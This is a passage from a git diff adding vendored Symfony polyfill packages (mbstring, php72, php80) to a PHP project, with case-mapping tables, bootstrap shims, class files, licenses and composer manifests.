'Ꮶ', + 'ꮷ' => 'Ꮷ', + 'ꮸ' => 'Ꮸ', + 'ꮹ' => 'Ꮹ', + 'ꮺ' => 'Ꮺ', + 'ꮻ' => 'Ꮻ', + 'ꮼ' => 'Ꮼ', + 'ꮽ' => 'Ꮽ', + 'ꮾ' => 'Ꮾ', + 'ꮿ' => 'Ꮿ', + 'a' => 'A', + 'b' => 'B', + 'c' => 'C', + 'd' => 'D', + 'e' => 'E', + 'f' => 'F', + 'g' => 'G', + 'h' => 'H', + 'i' => 'I', + 'j' => 'J', + 'k' => 'K', + 'l' => 'L', + 'm' => 'M', + 'n' => 'N', + 'o' => 'O', + 'p' => 'P', + 'q' => 'Q', + 'r' => 'R', + 's' => 'S', + 't' => 'T', + 'u' => 'U', + 'v' => 'V', + 'w' => 'W', + 'x' => 'X', + 'y' => 'Y', + 'z' => 'Z', + '𐐨' => '𐐀', + '𐐩' => '𐐁', + '𐐪' => '𐐂', + '𐐫' => '𐐃', + '𐐬' => '𐐄', + '𐐭' => '𐐅', + '𐐮' => '𐐆', + '𐐯' => '𐐇', + '𐐰' => '𐐈', + '𐐱' => '𐐉', + '𐐲' => '𐐊', + '𐐳' => '𐐋', + '𐐴' => '𐐌', + '𐐵' => '𐐍', + '𐐶' => '𐐎', + '𐐷' => '𐐏', + '𐐸' => '𐐐', + '𐐹' => '𐐑', + '𐐺' => '𐐒', + '𐐻' => '𐐓', + '𐐼' => '𐐔', + '𐐽' => '𐐕', + '𐐾' => '𐐖', + '𐐿' => '𐐗', + '𐑀' => '𐐘', + '𐑁' => '𐐙', + '𐑂' => '𐐚', + '𐑃' => '𐐛', + '𐑄' => '𐐜', + '𐑅' => '𐐝', + '𐑆' => '𐐞', + '𐑇' => '𐐟', + '𐑈' => '𐐠', + '𐑉' => '𐐡', + '𐑊' => '𐐢', + '𐑋' => '𐐣', + '𐑌' => '𐐤', + '𐑍' => '𐐥', + '𐑎' => '𐐦', + '𐑏' => '𐐧', + '𐓘' => '𐒰', + '𐓙' => '𐒱', + '𐓚' => '𐒲', + '𐓛' => '𐒳', + '𐓜' => '𐒴', + '𐓝' => '𐒵', + '𐓞' => '𐒶', + '𐓟' => '𐒷', + '𐓠' => '𐒸', + '𐓡' => '𐒹', + '𐓢' => '𐒺', + '𐓣' => '𐒻', + '𐓤' => '𐒼', + '𐓥' => '𐒽', + '𐓦' => '𐒾', + '𐓧' => '𐒿', + '𐓨' => '𐓀', + '𐓩' => '𐓁', + '𐓪' => '𐓂', + '𐓫' => '𐓃', + '𐓬' => '𐓄', + '𐓭' => '𐓅', + '𐓮' => '𐓆', + '𐓯' => '𐓇', + '𐓰' => '𐓈', + '𐓱' => '𐓉', + '𐓲' => '𐓊', + '𐓳' => '𐓋', + '𐓴' => '𐓌', + '𐓵' => '𐓍', + '𐓶' => '𐓎', + '𐓷' => '𐓏', + '𐓸' => '𐓐', + '𐓹' => '𐓑', + '𐓺' => '𐓒', + '𐓻' => '𐓓', + '𐳀' => '𐲀', + '𐳁' => '𐲁', + '𐳂' => '𐲂', + '𐳃' => '𐲃', + '𐳄' => '𐲄', + '𐳅' => '𐲅', + '𐳆' => '𐲆', + '𐳇' => '𐲇', + '𐳈' => '𐲈', + '𐳉' => '𐲉', + '𐳊' => '𐲊', + '𐳋' => '𐲋', + '𐳌' => '𐲌', + '𐳍' => '𐲍', + '𐳎' => '𐲎', + '𐳏' => '𐲏', + '𐳐' => '𐲐', + '𐳑' => '𐲑', + '𐳒' => '𐲒', + '𐳓' => '𐲓', + '𐳔' => '𐲔', + '𐳕' => '𐲕', + '𐳖' => '𐲖', + '𐳗' => '𐲗', + '𐳘' => '𐲘', + '𐳙' => '𐲙', + '𐳚' => '𐲚', + '𐳛' => '𐲛', + '𐳜' => '𐲜', + '𐳝' => '𐲝', + '𐳞' => '𐲞', + '𐳟' => '𐲟', + '𐳠' => '𐲠', + '𐳡' => '𐲡', + '𐳢' => '𐲢', + '𐳣' => '𐲣', + '𐳤' => '𐲤', + '𐳥' => '𐲥', + '𐳦' => '𐲦', + '𐳧' => '𐲧', + '𐳨' => '𐲨', + '𐳩' => '𐲩', + '𐳪' => '𐲪', + '𐳫' => '𐲫', + '𐳬' => '𐲬', + '𐳭' => '𐲭', + '𐳮' => '𐲮', + '𐳯' => '𐲯', + '𐳰' => '𐲰', + '𐳱' => '𐲱', + '𐳲' => '𐲲', + '𑣀' => '𑢠', + '𑣁' => '𑢡', + '𑣂' => '𑢢', + '𑣃' => '𑢣', + '𑣄' => '𑢤', + '𑣅' => '𑢥', + '𑣆' => '𑢦', + '𑣇' => '𑢧', + '𑣈' => '𑢨', + '𑣉' => '𑢩', + '𑣊' => '𑢪', + '𑣋' => '𑢫', + '𑣌' => '𑢬', + '𑣍' => '𑢭', + '𑣎' => '𑢮', + '𑣏' => '𑢯', + '𑣐' => '𑢰', + '𑣑' => '𑢱', + '𑣒' => '𑢲', + '𑣓' => '𑢳', + '𑣔' => '𑢴', + '𑣕' => '𑢵', + '𑣖' => '𑢶', + '𑣗' => '𑢷', + '𑣘' => '𑢸', + '𑣙' => '𑢹', + '𑣚' => '𑢺', + '𑣛' => '𑢻', + '𑣜' => '𑢼', + '𑣝' => '𑢽', + '𑣞' => '𑢾', + '𑣟' => '𑢿', + '𖹠' => '𖹀', + '𖹡' => '𖹁', + '𖹢' => '𖹂', + '𖹣' => '𖹃', + '𖹤' => '𖹄', + '𖹥' => '𖹅', + '𖹦' => '𖹆', + '𖹧' => '𖹇', + '𖹨' => '𖹈', + '𖹩' => '𖹉', + '𖹪' => '𖹊', + '𖹫' => '𖹋', + '𖹬' => '𖹌', + '𖹭' => '𖹍', + '𖹮' => '𖹎', + '𖹯' => '𖹏', + '𖹰' => '𖹐', + '𖹱' => '𖹑', + '𖹲' => '𖹒', + '𖹳' => '𖹓', + '𖹴' => '𖹔', + '𖹵' => '𖹕', + '𖹶' => '𖹖', + '𖹷' => '𖹗', + '𖹸' => '𖹘', + '𖹹' => '𖹙', + '𖹺' => '𖹚', + '𖹻' => '𖹛', + '𖹼' => '𖹜', + '𖹽' => '𖹝', + '𖹾' => '𖹞', + '𖹿' => '𖹟', + '𞤢' => '𞤀', + '𞤣' => '𞤁', + '𞤤' => '𞤂', + '𞤥' => '𞤃', + '𞤦' => '𞤄', + '𞤧' => '𞤅', + '𞤨' => '𞤆', + '𞤩' => '𞤇', + '𞤪' => '𞤈', + '𞤫' => '𞤉', + '𞤬' => '𞤊', + '𞤭' => '𞤋', + '𞤮' => '𞤌', + '𞤯' => '𞤍', + '𞤰' => '𞤎', + '𞤱' => '𞤏', + '𞤲' => '𞤐', + '𞤳' => '𞤑', + '𞤴' => '𞤒', + '𞤵' => '𞤓', + '𞤶' => '𞤔', + '𞤷' => '𞤕', + '𞤸' => '𞤖', + '𞤹' => '𞤗', + '𞤺' => '𞤘', + '𞤻' => '𞤙', + '𞤼' => '𞤚', + '𞤽' => '𞤛', + '𞤾' => '𞤜', + '𞤿' => '𞤝', + '𞥀' => '𞤞', + '𞥁' => '𞤟', + '𞥂' => '𞤠', + '𞥃' => '𞤡', +); diff --git a/vendor/symfony/polyfill-mbstring/bootstrap.php b/vendor/symfony/polyfill-mbstring/bootstrap.php new file mode 100644 index 0000000..d0a93d4 --- /dev/null +++ b/vendor/symfony/polyfill-mbstring/bootstrap.php @@ -0,0 +1,147 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +use Symfony\Polyfill\Mbstring as p; + +if (!function_exists('mb_convert_encoding')) { + function mb_convert_encoding($string, $to_encoding, $from_encoding = null) { return p\Mbstring::mb_convert_encoding($string, $to_encoding, $from_encoding); } +} +if (!function_exists('mb_decode_mimeheader')) { + function mb_decode_mimeheader($string) { return p\Mbstring::mb_decode_mimeheader($string); } +} +if (!function_exists('mb_encode_mimeheader')) { + function mb_encode_mimeheader($string, $charset = null, $transfer_encoding = null, $newline = null, $indent = null) { return p\Mbstring::mb_encode_mimeheader($string, $charset, $transfer_encoding, $newline, $indent); } +} +if (!function_exists('mb_decode_numericentity')) { + function mb_decode_numericentity($string, $map, $encoding = null) { return p\Mbstring::mb_decode_numericentity($string, $map, $encoding); } +} +if (!function_exists('mb_encode_numericentity')) { + function mb_encode_numericentity($string, $map, $encoding = null, $hex = false) { return p\Mbstring::mb_encode_numericentity($string, $map, $encoding, $hex); } +} +if (!function_exists('mb_convert_case')) { + function mb_convert_case($string, $mode, $encoding = null) { return p\Mbstring::mb_convert_case($string, $mode, $encoding); } +} +if (!function_exists('mb_internal_encoding')) { + function mb_internal_encoding($encoding = null) { return p\Mbstring::mb_internal_encoding($encoding); } +} +if (!function_exists('mb_language')) { + function mb_language($language = null) { return p\Mbstring::mb_language($language); } +} +if (!function_exists('mb_list_encodings')) { + function mb_list_encodings() { return p\Mbstring::mb_list_encodings(); } +} +if (!function_exists('mb_encoding_aliases')) { + function mb_encoding_aliases($encoding) { return p\Mbstring::mb_encoding_aliases($encoding); } +} +if (!function_exists('mb_check_encoding')) { + function mb_check_encoding($value = null, $encoding = null) { return p\Mbstring::mb_check_encoding($value, $encoding); } +} +if (!function_exists('mb_detect_encoding')) { + function mb_detect_encoding($string, $encodings = null, $strict = false) { return p\Mbstring::mb_detect_encoding($string, $encodings, $strict); } +} +if (!function_exists('mb_detect_order')) { + function mb_detect_order($encoding = null) { return p\Mbstring::mb_detect_order($encoding); } +} +if (!function_exists('mb_parse_str')) { + function mb_parse_str($string, &$result = array()) { parse_str($string, $result); } +} +if (!function_exists('mb_strlen')) { + function mb_strlen($string, $encoding = null) { return p\Mbstring::mb_strlen($string, $encoding); } +} +if (!function_exists('mb_strpos')) { + function mb_strpos($haystack, $needle, $offset = 0, $encoding = null) { return p\Mbstring::mb_strpos($haystack, $needle, $offset, $encoding); } +} +if (!function_exists('mb_strtolower')) { + function mb_strtolower($string, $encoding = null) { return p\Mbstring::mb_strtolower($string, $encoding); } +} +if (!function_exists('mb_strtoupper')) { + function mb_strtoupper($string, $encoding = null) { return p\Mbstring::mb_strtoupper($string, $encoding); } +} +if (!function_exists('mb_substitute_character')) { + function mb_substitute_character($substitute_character = null) { return p\Mbstring::mb_substitute_character($substitute_character); } +} +if (!function_exists('mb_substr')) { + function mb_substr($string, $start, $length = 2147483647, $encoding = null) { return p\Mbstring::mb_substr($string, $start, $length, $encoding); } +} +if (!function_exists('mb_stripos')) { + function mb_stripos($haystack, $needle, $offset = 0, $encoding = null) { return p\Mbstring::mb_stripos($haystack, $needle, $offset, $encoding); } +} +if (!function_exists('mb_stristr')) { + function mb_stristr($haystack, $needle, $before_needle = false, $encoding = null) { return p\Mbstring::mb_stristr($haystack, $needle, $before_needle, $encoding); } +} +if (!function_exists('mb_strrchr')) { + function mb_strrchr($haystack, $needle, $before_needle = false, $encoding = null) { return p\Mbstring::mb_strrchr($haystack, $needle, $before_needle, $encoding); } +} +if (!function_exists('mb_strrichr')) { + function mb_strrichr($haystack, $needle, $before_needle = false, $encoding = null) { return p\Mbstring::mb_strrichr($haystack, $needle, $before_needle, $encoding); } +} +if (!function_exists('mb_strripos')) { + function mb_strripos($haystack, $needle, $offset = 0, $encoding = null) { return p\Mbstring::mb_strripos($haystack, $needle, $offset, $encoding); } +} +if (!function_exists('mb_strrpos')) { + function mb_strrpos($haystack, $needle, $offset = 0, $encoding = null) { return p\Mbstring::mb_strrpos($haystack, $needle, $offset, $encoding); } +} +if (!function_exists('mb_strstr')) { + function mb_strstr($haystack, $needle, $before_needle = false, $encoding = null) { return p\Mbstring::mb_strstr($haystack, $needle, $before_needle, $encoding); } +} +if (!function_exists('mb_get_info')) { + function mb_get_info($type = 'all') { return p\Mbstring::mb_get_info($type); } +} +if (!function_exists('mb_http_output')) { + function mb_http_output($encoding = null) { return p\Mbstring::mb_http_output($encoding); } +} +if (!function_exists('mb_strwidth')) { + function mb_strwidth($string, $encoding = null) { return p\Mbstring::mb_strwidth($string, $encoding); } +} +if (!function_exists('mb_substr_count')) { + function mb_substr_count($haystack, $needle, $encoding = null) { return p\Mbstring::mb_substr_count($haystack, $needle, $encoding); } +} +if (!function_exists('mb_output_handler')) { + function mb_output_handler($string, $status) { return p\Mbstring::mb_output_handler($string, $status); } +} +if (!function_exists('mb_http_input')) { + function mb_http_input($type = '') { return p\Mbstring::mb_http_input($type); } +} + +if (!function_exists('mb_convert_variables')) { + if (PHP_VERSION_ID >= 80000) { + function mb_convert_variables($to_encoding, $from_encoding, &$var, &...$vars) { return p\Mbstring::mb_convert_variables($to_encoding, $from_encoding, $var, ...$vars); } + } else { + function mb_convert_variables($to_encoding, $from_encoding, &...$vars) { return p\Mbstring::mb_convert_variables($to_encoding, $from_encoding, ...$vars); } + } +} + +if (!function_exists('mb_ord')) { + function mb_ord($string, $encoding = null) { return p\Mbstring::mb_ord($string, $encoding); } +} +if (!function_exists('mb_chr')) { + function mb_chr($codepoint, $encoding = null) { return p\Mbstring::mb_chr($codepoint, $encoding); } +} +if (!function_exists('mb_scrub')) { + function mb_scrub($string, $encoding = null) { $encoding = null === $encoding ? mb_internal_encoding() : $encoding; return mb_convert_encoding($string, $encoding, $encoding); } +} +if (!function_exists('mb_str_split')) { + function mb_str_split($string, $length = 1, $encoding = null) { return p\Mbstring::mb_str_split($string, $length, $encoding); } +} + +if (extension_loaded('mbstring')) { + return; +} + +if (!defined('MB_CASE_UPPER')) { + define('MB_CASE_UPPER', 0); +} +if (!defined('MB_CASE_LOWER')) { + define('MB_CASE_LOWER', 1); +} +if (!defined('MB_CASE_TITLE')) { + define('MB_CASE_TITLE', 2); +} diff --git a/vendor/symfony/polyfill-mbstring/composer.json b/vendor/symfony/polyfill-mbstring/composer.json new file mode 100644 index 0000000..ca4a839 --- /dev/null +++ b/vendor/symfony/polyfill-mbstring/composer.json @@ -0,0 +1,38 @@ +{ + "name": "symfony/polyfill-mbstring", + "type": "library", + "description": "Symfony polyfill for the Mbstring extension", + "keywords": ["polyfill", "shim", "compatibility", "portable", "mbstring"], + "homepage": "https://symfony.com", + "license": "MIT", + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "require": { + "php": ">=7.1" + }, + "autoload": { + "psr-4": { "Symfony\\Polyfill\\Mbstring\\": "" }, + "files": [ "bootstrap.php" ] + }, + "suggest": { + "ext-mbstring": "For best performance" + }, + "minimum-stability": "dev", + "extra": { + "branch-alias": { + "dev-main": "1.20-dev" + }, + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + } +} diff --git a/vendor/symfony/polyfill-php72/LICENSE b/vendor/symfony/polyfill-php72/LICENSE new file mode 100644 index 0000000..4cd8bdd --- /dev/null +++ b/vendor/symfony/polyfill-php72/LICENSE @@ -0,0 +1,19 @@ +Copyright (c) 2015-2019 Fabien Potencier + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is furnished +to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/vendor/symfony/polyfill-php72/Php72.php b/vendor/symfony/polyfill-php72/Php72.php new file mode 100644 index 0000000..1e36d5e --- /dev/null +++ b/vendor/symfony/polyfill-php72/Php72.php @@ -0,0 +1,217 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Polyfill\Php72; + +/** + * @author Nicolas Grekas + * @author Dariusz Rumiński + * + * @internal + */ +final class Php72 +{ + private static $hashMask; + + public static function utf8_encode($s) + { + $s .= $s; + $len = \strlen($s); + + for ($i = $len >> 1, $j = 0; $i < $len; ++$i, ++$j) { + switch (true) { + case $s[$i] < "\x80": $s[$j] = $s[$i]; break; + case $s[$i] < "\xC0": $s[$j] = "\xC2"; $s[++$j] = $s[$i]; break; + default: $s[$j] = "\xC3"; $s[++$j] = \chr(\ord($s[$i]) - 64); break; + } + } + + return substr($s, 0, $j); + } + + public static function utf8_decode($s) + { + $s = (string) $s; + $len = \strlen($s); + + for ($i = 0, $j = 0; $i < $len; ++$i, ++$j) { + switch ($s[$i] & "\xF0") { + case "\xC0": + case "\xD0": + $c = (\ord($s[$i] & "\x1F") << 6) | \ord($s[++$i] & "\x3F"); + $s[$j] = $c < 256 ? \chr($c) : '?'; + break; + + case "\xF0": + ++$i; + // no break + + case "\xE0": + $s[$j] = '?'; + $i += 2; + break; + + default: + $s[$j] = $s[$i]; + } + } + + return substr($s, 0, $j); + } + + public static function php_os_family() + { + if ('\\' === \DIRECTORY_SEPARATOR) { + return 'Windows'; + } + + $map = array( + 'Darwin' => 'Darwin', + 'DragonFly' => 'BSD', + 'FreeBSD' => 'BSD', + 'NetBSD' => 'BSD', + 'OpenBSD' => 'BSD', + 'Linux' => 'Linux', + 'SunOS' => 'Solaris', + ); + + return isset($map[PHP_OS]) ? $map[PHP_OS] : 'Unknown'; + } + + public static function spl_object_id($object) + { + if (null === self::$hashMask) { + self::initHashMask(); + } + if (null === $hash = spl_object_hash($object)) { + return; + } + + // On 32-bit systems, PHP_INT_SIZE is 4, + return self::$hashMask ^ hexdec(substr($hash, 16 - (\PHP_INT_SIZE * 2 - 1), (\PHP_INT_SIZE * 2 - 1))); + } + + public static function sapi_windows_vt100_support($stream, $enable = null) + { + if (!\is_resource($stream)) { + trigger_error('sapi_windows_vt100_support() expects parameter 1 to be resource, '.\gettype($stream).' given', E_USER_WARNING); + + return false; + } + + $meta = stream_get_meta_data($stream); + + if ('STDIO' !== $meta['stream_type']) { + trigger_error('sapi_windows_vt100_support() was not able to analyze the specified stream', E_USER_WARNING); + + return false; + } + + // We cannot actually disable vt100 support if it is set + if (false === $enable || !self::stream_isatty($stream)) { + return false; + } + + // The native function does not apply to stdin + $meta = array_map('strtolower', $meta); + $stdin = 'php://stdin' === $meta['uri'] || 'php://fd/0' === $meta['uri']; + + return !$stdin + && (false !== getenv('ANSICON') + || 'ON' === getenv('ConEmuANSI') + || 'xterm' === getenv('TERM') + || 'Hyper' === getenv('TERM_PROGRAM')); + } + + public static function stream_isatty($stream) + { + if (!\is_resource($stream)) { + trigger_error('stream_isatty() expects parameter 1 to be resource, '.\gettype($stream).' given', E_USER_WARNING); + + return false; + } + + if ('\\' === \DIRECTORY_SEPARATOR) { + $stat = @fstat($stream); + // Check if formatted mode is S_IFCHR + return $stat ? 0020000 === ($stat['mode'] & 0170000) : false; + } + + return \function_exists('posix_isatty') && @posix_isatty($stream); + } + + private static function initHashMask() + { + $obj = (object) array(); + self::$hashMask = -1; + + // check if we are nested in an output buffering handler to prevent a fatal error with ob_start() below + $obFuncs = array('ob_clean', 'ob_end_clean', 'ob_flush', 'ob_end_flush', 'ob_get_contents', 'ob_get_flush'); + foreach (debug_backtrace(\PHP_VERSION_ID >= 50400 ? DEBUG_BACKTRACE_IGNORE_ARGS : false) as $frame) { + if (isset($frame['function'][0]) && !isset($frame['class']) && 'o' === $frame['function'][0] && \in_array($frame['function'], $obFuncs)) { + $frame['line'] = 0; + break; + } + } + if (!empty($frame['line'])) { + ob_start(); + debug_zval_dump($obj); + self::$hashMask = (int) substr(ob_get_clean(), 17); + } + + self::$hashMask ^= hexdec(substr(spl_object_hash($obj), 16 - (\PHP_INT_SIZE * 2 - 1), (\PHP_INT_SIZE * 2 - 1))); + } + + public static function mb_chr($code, $encoding = null) + { + if (0x80 > $code %= 0x200000) { + $s = \chr($code); + } elseif (0x800 > $code) { + $s = \chr(0xC0 | $code >> 6).\chr(0x80 | $code & 0x3F); + } elseif (0x10000 > $code) { + $s = \chr(0xE0 | $code >> 12).\chr(0x80 | $code >> 6 & 0x3F).\chr(0x80 | $code & 0x3F); + } else { + $s = \chr(0xF0 | $code >> 18).\chr(0x80 | $code >> 12 & 0x3F).\chr(0x80 | $code >> 6 & 0x3F).\chr(0x80 | $code & 0x3F); + } + + if ('UTF-8' !== $encoding) { + $s = mb_convert_encoding($s, $encoding, 'UTF-8'); + } + + return $s; + } + + public static function mb_ord($s, $encoding = null) + { + if (null === $encoding) { + $s = mb_convert_encoding($s, 'UTF-8'); + } elseif ('UTF-8' !== $encoding) { + $s = mb_convert_encoding($s, 'UTF-8', $encoding); + } + + if (1 === \strlen($s)) { + return \ord($s); + } + + $code = ($s = unpack('C*', substr($s, 0, 4))) ? $s[1] : 0; + if (0xF0 <= $code) { + return (($code - 0xF0) << 18) + (($s[2] - 0x80) << 12) + (($s[3] - 0x80) << 6) + $s[4] - 0x80; + } + if (0xE0 <= $code) { + return (($code - 0xE0) << 12) + (($s[2] - 0x80) << 6) + $s[3] - 0x80; + } + if (0xC0 <= $code) { + return (($code - 0xC0) << 6) + $s[2] - 0x80; + } + + return $code; + } +} diff --git a/vendor/symfony/polyfill-php72/README.md b/vendor/symfony/polyfill-php72/README.md new file mode 100644 index 0000000..59dec8a --- /dev/null +++ b/vendor/symfony/polyfill-php72/README.md @@ -0,0 +1,28 @@ +Symfony Polyfill / Php72 +======================== + +This component provides functions added to PHP 7.2 core: + +- [`spl_object_id`](https://php.net/spl_object_id) +- [`stream_isatty`](https://php.net/stream_isatty) + +On Windows only: + +- [`sapi_windows_vt100_support`](https://php.net/sapi_windows_vt100_support) + +Moved to core since 7.2 (was in the optional XML extension earlier): + +- [`utf8_encode`](https://php.net/utf8_encode) +- [`utf8_decode`](https://php.net/utf8_decode) + +Also, it provides constants added to PHP 7.2: +- [`PHP_FLOAT_*`](https://php.net/reserved.constants#constant.php-float-dig) +- [`PHP_OS_FAMILY`](https://php.net/reserved.constants#constant.php-os-family) + +More information can be found in the +[main Polyfill README](https://github.com/symfony/polyfill/blob/master/README.md). + +License +======= + +This library is released under the [MIT license](LICENSE). diff --git a/vendor/symfony/polyfill-php72/bootstrap.php b/vendor/symfony/polyfill-php72/bootstrap.php new file mode 100644 index 0000000..3154b2c --- /dev/null +++ b/vendor/symfony/polyfill-php72/bootstrap.php @@ -0,0 +1,57 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +use Symfony\Polyfill\Php72 as p; + +if (PHP_VERSION_ID >= 70200) { + return; +} + +if (!defined('PHP_FLOAT_DIG')) { + define('PHP_FLOAT_DIG', 15); +} +if (!defined('PHP_FLOAT_EPSILON')) { + define('PHP_FLOAT_EPSILON', 2.2204460492503E-16); +} +if (!defined('PHP_FLOAT_MIN')) { + define('PHP_FLOAT_MIN', 2.2250738585072E-308); +} +if (!defined('PHP_FLOAT_MAX')) { + define('PHP_FLOAT_MAX', 1.7976931348623157E+308); +} +if (!defined('PHP_OS_FAMILY')) { + define('PHP_OS_FAMILY', p\Php72::php_os_family()); +} + +if ('\\' === DIRECTORY_SEPARATOR && !function_exists('sapi_windows_vt100_support')) { + function sapi_windows_vt100_support($stream, $enable = null) { return p\Php72::sapi_windows_vt100_support($stream, $enable); } +} +if (!function_exists('stream_isatty')) { + function stream_isatty($stream) { return p\Php72::stream_isatty($stream); } +} +if (!function_exists('utf8_encode')) { + function utf8_encode($string) { return p\Php72::utf8_encode($string); } +} +if (!function_exists('utf8_decode')) { + function utf8_decode($string) { return p\Php72::utf8_decode($string); } +} +if (!function_exists('spl_object_id')) { + function spl_object_id($object) { return p\Php72::spl_object_id($object); } +} +if (!function_exists('mb_ord')) { + function mb_ord($string, $encoding = null) { return p\Php72::mb_ord($string, $encoding); } +} +if (!function_exists('mb_chr')) { + function mb_chr($codepoint, $encoding = null) { return p\Php72::mb_chr($codepoint, $encoding); } +} +if (!function_exists('mb_scrub')) { + function mb_scrub($string, $encoding = null) { $encoding = null === $encoding ? mb_internal_encoding() : $encoding; return mb_convert_encoding($string, $encoding, $encoding); } +} diff --git a/vendor/symfony/polyfill-php72/composer.json b/vendor/symfony/polyfill-php72/composer.json new file mode 100644 index 0000000..994443a --- /dev/null +++ b/vendor/symfony/polyfill-php72/composer.json @@ -0,0 +1,35 @@ +{ + "name": "symfony/polyfill-php72", + "type": "library", + "description": "Symfony polyfill backporting some PHP 7.2+ features to lower PHP versions", + "keywords": ["polyfill", "shim", "compatibility", "portable"], + "homepage": "https://symfony.com", + "license": "MIT", + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "require": { + "php": ">=7.1" + }, + "autoload": { + "psr-4": { "Symfony\\Polyfill\\Php72\\": "" }, + "files": [ "bootstrap.php" ] + }, + "minimum-stability": "dev", + "extra": { + "branch-alias": { + "dev-main": "1.20-dev" + }, + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + } +} diff --git a/vendor/symfony/polyfill-php80/LICENSE b/vendor/symfony/polyfill-php80/LICENSE new file mode 100644 index 0000000..5593b1d --- /dev/null +++ b/vendor/symfony/polyfill-php80/LICENSE @@ -0,0 +1,19 @@ +Copyright (c) 2020 Fabien Potencier + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is furnished +to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/vendor/symfony/polyfill-php80/Php80.php b/vendor/symfony/polyfill-php80/Php80.php new file mode 100644 index 0000000..c03491b --- /dev/null +++ b/vendor/symfony/polyfill-php80/Php80.php @@ -0,0 +1,105 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Polyfill\Php80; + +/** + * @author Ion Bazan + * @author Nico Oelgart + * @author Nicolas Grekas + * + * @internal + */ +final class Php80 +{ + public static function fdiv(float $dividend, float $divisor): float + { + return @($dividend / $divisor); + } + + public static function get_debug_type($value): string + { + switch (true) { + case null === $value: return 'null'; + case \is_bool($value): return 'bool'; + case \is_string($value): return 'string'; + case \is_array($value): return 'array'; + case \is_int($value): return 'int'; + case \is_float($value): return 'float'; + case \is_object($value): break; + case $value instanceof \__PHP_Incomplete_Class: return '__PHP_Incomplete_Class'; + default: + if (null === $type = @get_resource_type($value)) { + return 'unknown'; + } + + if ('Unknown' === $type) { + $type = 'closed'; + } + + return "resource ($type)"; + } + + $class = \get_class($value); + + if (false === strpos($class, '@')) { + return $class; + } + + return (get_parent_class($class) ?: key(class_implements($class)) ?: 'class').'@anonymous'; + } + + public static function get_resource_id($res): int + { + if (!\is_resource($res) && null === @get_resource_type($res)) { + throw new \TypeError(sprintf('Argument 1 passed to get_resource_id() must be of the type resource, %s given', get_debug_type($res))); + } + + return (int) $res; + } + + public static function preg_last_error_msg(): string + { + switch (preg_last_error()) { + case PREG_INTERNAL_ERROR: + return 'Internal error'; + case PREG_BAD_UTF8_ERROR: + return 'Malformed UTF-8 characters, possibly incorrectly encoded'; + case PREG_BAD_UTF8_OFFSET_ERROR: + return 'The offset did not correspond to the beginning of a valid UTF-8 code point'; + case PREG_BACKTRACK_LIMIT_ERROR: + return 'Backtrack limit exhausted'; + case PREG_RECURSION_LIMIT_ERROR: + return 'Recursion limit exhausted'; + case PREG_JIT_STACKLIMIT_ERROR: + return 'JIT stack limit exhausted'; + case PREG_NO_ERROR: + return 'No error'; + default: + return 'Unknown error'; + } + } + + public static function str_contains(string $haystack, string $needle): bool + { + return '' === $needle || false !== strpos($haystack, $needle); + } + + public static function str_starts_with(string $haystack, string $needle): bool + { + return 0 === \strncmp($haystack, $needle, \strlen($needle)); + } + + public static function str_ends_with(string $haystack, string $needle): bool + { + return '' === $needle || ('' !== $haystack && 0 === \substr_compare($haystack, $needle, -\strlen($needle))); + } +} diff --git a/vendor/symfony/polyfill-php80/README.md b/vendor/symfony/polyfill-php80/README.md new file mode 100644 index 0000000..eaa3050 --- /dev/null +++ b/vendor/symfony/polyfill-php80/README.md @@ -0,0 +1,24 @@ +Symfony Polyfill / Php80 +======================== + +This component provides features added to PHP 8.0 core: + +- `Stringable` interface +- [`fdiv`](https://php.net/fdiv) +- `ValueError` class +- `UnhandledMatchError` class +- `FILTER_VALIDATE_BOOL` constant +- [`get_debug_type`](https://php.net/get_debug_type) +- [`preg_last_error_msg`](https://php.net/preg_last_error_msg) +- [`str_contains`](https://php.net/str_contains) +- [`str_starts_with`](https://php.net/str_starts_with) +- 